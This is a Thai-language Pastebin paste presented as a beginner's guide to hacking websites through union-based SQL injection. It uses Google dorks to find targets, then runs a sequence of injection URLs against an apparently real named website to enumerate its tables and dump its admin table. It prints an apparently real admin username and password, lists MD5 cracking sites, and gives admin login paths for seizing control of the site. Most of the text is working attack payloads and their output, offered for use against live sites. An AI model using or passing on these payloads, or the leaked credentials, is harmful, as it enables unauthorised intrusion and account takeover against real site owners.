hs8tv

Untitled

Jun 18th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -{SQLi}- แฮกเว็ปไซต์โดย SQLi มือใหม่เริ่มที่นี้ครับ {Union Based}
  2.  
  3. SQL INJECTION
  4. โดย Pound
  5.  
  6. สารบัญ
  7.  
  8. 1: ค้นหาเป้าหมาย
  9. 1.2: ทดสอบเป้าหมายว่ามีช่องโหว่หรือไม่
  10. 2: หาคอลัมน์
  11. 2.1: หาช่องโหว่ของคอลัมน์
  12. 3: เช็คเวอร์ชั่นของ SQL
  13. 4: ถ้าเป็นเวอร์ชั่น 5
  14. 4.1: หาชื่อคอลัมน์ Tables และ พาสแอดมิน
  15.  
  16. ดูวิดีโอ: http://www.youtube.com/watch?v=Nik12-OQ7...e=youtu.be
  17.  
  18. 1. ค้นหาเป้าหมาย
  19.  
  20. เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
  21. ตัวอย่าง Dork
  22. Code:
  23. inurl:"index.php?ID="
  24. ผลการค้นหา. Google จะแสดงเว็ปไซต์ต่างๆที่มี "products.php?prodID=" อยู่ในลิงค์.
  25. - ลิส Dorks
  26. ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:
  27. Code:
  28. inurl:"index.php?item_id=" & ".co.th"
  29. บางทีมันก็ไม่ทำงาน. ไม่เป็นไรครับค่อยๆสร้างๆค่อยๆคิดกันไป.
  30.  
  31. 1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม
  32.  
  33. หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
  34. - ลิสเว็ปไซต์ที่มีช่องโหว่
  35. ผมจะใช้เว็ปนี้เพื่อทดลอง:
  36. http://www.lebeauhumblet.com/publications.php?id=2
  37. วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:
  38. Code:
  39. http://www.lebeauhumblet.com/publications.php?id=2'
  40. จะรู้ได้ไงว่าเว็ปนี้มีช่องโหว่. หลังจากรีโหลดหน้าเว็ปแล้ว ถ้าเกิดหน้าเว็ป:
  41. - ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
  42. - SQL Error ต่างๆ
  43.  
  44. 2. หาคอลัมน์
  45.  
  46. ลองกับเว็ปเดิม:
  47. http://www.lebeauhumblet.com/publications.php?id=2
  48. สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำส?ั่ง 'order+by'
  49. ลิงค์จะหน้าตาออกมาเป็นแบบนี่
  50. Code:
  51. http://www.lebeauhumblet.com/publications.php?id=2+order+by+1--
  52. เรามาเริ่มหากันเลย ไล่ขึ้นไปจากคอลัมน์ 1
  53. http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
  54. http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
  55. http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
  56. http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
  57. http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error
  58.  
  59. นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์
  60.  
  61. 2.1: หาช่องโหว่ของคอลัมน์
  62.  
  63. จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
  64. หน้าตาลิงค์จะเป็นแบบนี้
  65. Code:
  66. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,3,4--
  67. อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
  68. หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.
  69.  
  70. 3: หาเวอร์ชั่นของ SQL
  71.  
  72. ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
  73. Code:
  74. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,@@version,4--
  75. ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 4.1.20-community-nt
  76.  
  77. ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
  78. convert(@@version using latin1)
  79. ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
  80. Code:
  81. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,convert(@@version using latin1),4--
  82. หรือคำสั่งนี้: unhex(hex(@@version))
  83. Code:
  84. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,unhex(hex(@@version)),4--
  85.  
  86. 4. หา Tables ในฐานข้อมูล
  87.  
  88. Quote:group_concat = รวมรวบข้อมูล
  89. table_name = ชื่อ Tables
  90. from = ที่ที่เราเจาะจงจะหาข้อมูล
  91. information_schema.tables = ข้อมูลในฐานข้อมูลที่มีชื่อ Tables เก็บไว้
  92. table_schema = Tables ในฐานข้อมูล
  93. database() = ฐานข้อมูลของเว็ปไซด์
  94.  
  95. เค.. มาผสมคำสั่งพวกนี้เข้าด้วยกัน... ลิงค์จะออกมาหน้าตาแบบนี้
  96. Code:
  97. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(table_name,0x0a),4 from information_schema.tables where table_schema=database()--
  98. ตามลิงค์ด้านบนผมได้ใส่คำสั่ง group_concat(table_name,0x0a) แทนที่คอลัมน์ที่มีช่องโหว่และ from information_schema.tables where table_schema=database()-- ต่อท้าย. จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
  99. Code:
  100. pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
  101. หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ tbladmin น่าจะมีข้อมูลเหล่านั้นอยู่.
  102.  
  103. 4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน
  104.  
  105. ดูที่โค้ตด้านล่างนี้ให้ดีๆ
  106. Code:
  107. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(column_name,0x0a),4 from information_schema.columns where table_name=0x74626c61646d696e--
  108. มาดูกันมีอะไรแตกต่างไปมั้ง:
  109.  
  110. Quote:table_name = แทนที่โดย "column_name"
  111. information_schema.tables = แทนที่โดย "information_schema.columns"
  112. table_schema = แทนที่โดย "table_name"
  113. database() = แทนที่โดย "0x74626c61646d696e--"
  114.  
  115. สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x74626c61646d696e--
  116. อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
  117. Code:
  118. http://www.swingnote.com/tools/texttohex.php
  119. เราก็จะได้ 74626c61646d696e เป็น Hex โค้ตของ tbladmin และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
  120. Code:
  121. 0x74626c61646d696e
  122. ......
  123. .............
  124. จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:
  125.  
  126. Quote:adminid ,username ,password ,dom
  127.  
  128. แน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
  129. เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
  130. Code:
  131. http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(username,0x3a,password,0x0a),4 from tbladmin--
  132. แล้วคุณก็จะได้..
  133. Code:
  134. ishir:ishir123
  135. username: ishir
  136. password: ishir123
  137.  
  138. เครสพิเศษ: Hashed Usernames and Passwords
  139.  
  140. เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:
  141.  
  142. Quote:http://www.md5decrypter.co.uk/
  143. http://www.md5this.com/
  144. http://www.md5crack.com/
  145. http://hashchecker.de/find.html
  146.  
  147. MD5 Hash จะมี 32 ตัว
  148. SHA-1 Hash จะมี 40 ตัว
  149.  
  150. ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน
  151.  
  152. ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.
  153.  
  154. ตัวอย่างหน้าแอดมิน:
  155. Code:
  156. www.xxxx.com/admin
  157. www.xxxx.com/admins
  158. www.xxxx.com/users
  159. www.xxxx.com/admin.php
  160. www.xxxx.com/admin/login.php
  161. www.xxxx.com/login.php
  162. www.xxxx.com/login
Add Comment
Please, Sign In to add comment